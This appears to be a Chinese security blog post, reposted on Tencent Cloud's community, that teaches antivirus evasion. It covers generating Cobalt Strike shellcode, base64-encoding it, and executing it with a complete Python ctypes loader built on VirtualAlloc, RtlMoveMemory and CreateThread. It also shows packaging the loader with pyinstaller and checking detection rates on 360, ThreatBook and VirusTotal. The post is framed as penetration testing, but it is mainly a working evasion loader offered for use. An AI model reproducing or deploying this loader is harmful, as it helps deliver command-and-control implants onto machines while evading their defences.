前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >免杀 - shellcode简单混淆BypassAv

免杀 - shellcode简单混淆BypassAv

作者头像
重生信息安全
发布2021-02-26 15:42:47
2.5K0
发布2021-02-26 15:42:47
举报
文章被收录于专栏:重生信息安全重生信息安全

前言

在进行渗透测试过程中,往往会遇到主机有杀软,导致我们的木马被查杀,那么我们就得想办法绕过杀软进行上线Cobalt strike 或者 Metasploiit

环境: Cobalt strike 4.1 Python pyinstaller

何为shellcode?

百度百科是这样介绍它的:

“shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名”

何为shellcode混淆?

其实就是把我们的shellcode进行加密:如base64,AES等等

实现过程

1、生成shellcode 2、把shellcode加密 3、构造shellcode加载器 4、shellcode加载器把我们加密过后的shellcode解密 5、执行程序,上线C2

下面我也直观的列举了一幅图来说明,如下

利用cobalt strike生成shellcode

生成Python shellcode x64

会得到这样一个内容文件

简单处理payload.py shellcode文件

1、你可以直接把双引号里面的内容复制出来

2、写代码提取出来

这里我用的第二种,附自己写的垃圾代码

这样就能简单处理我们的shellcode文件

对我们提取出来的shellcode进行加密

这里我使用base64加密

1、可以直接使用在线的base64网站加密

代码语言:javascript
复制
https://base64.us/

2、自写代码进行加密

这里使用Python base64库,附代码

代码语言:javascript
复制
代码语言:javascript
复制
# coding=utf-8
import base64
# 读取shellcode文件
shellcode = open('payload.py')
shellcode = shellcode.read()
# 取出shellcode内容
s1 = shellcode.find("\"")+1
s2 = shellcode.rfind("\"")
shellcode =  shellcode[s1:s2]
# print(shellcode)
# 把shellcode base64加密并写入base64.txt文件
base64_shellcode = base64.b64encode(shellcode.encode('UTF-8'))
with open('base64.txt', 'wb') as shell:
    shell.write(base64_shellcode)
编写加载器

这里直接附代码

代码语言:javascript
复制

import base64
import codecs
import ctypes
shellcode = ""
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

把我们加密过后的shellcode放进shellcode = ""里

测试,能否上线

利用pyinstaller打包成exe
代码语言:javascript
复制
pyinstaller -F bypassav.py -w

生成exe

测试能否上线

测试免杀率

1、本地360

2、微步在线

3、VT查杀

结尾

这篇只是一个引子,大家还可以考虑

1、对我们生成的exe再进行混淆

2、分离shellcode

后续有时间会给大家写一篇分离shellcode,上述过程皆可进行自动化生成,我已经实现到自己的平台了

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-01-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 何为shellcode?
  • 何为shellcode混淆?
  • 实现过程
    • 利用cobalt strike生成shellcode
      • 简单处理payload.py shellcode文件
    • 对我们提取出来的shellcode进行加密
      • 编写加载器
        • 利用pyinstaller打包成exe
          • 测试免杀率
          • 结尾
          相关产品与服务
          网站渗透测试
          网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档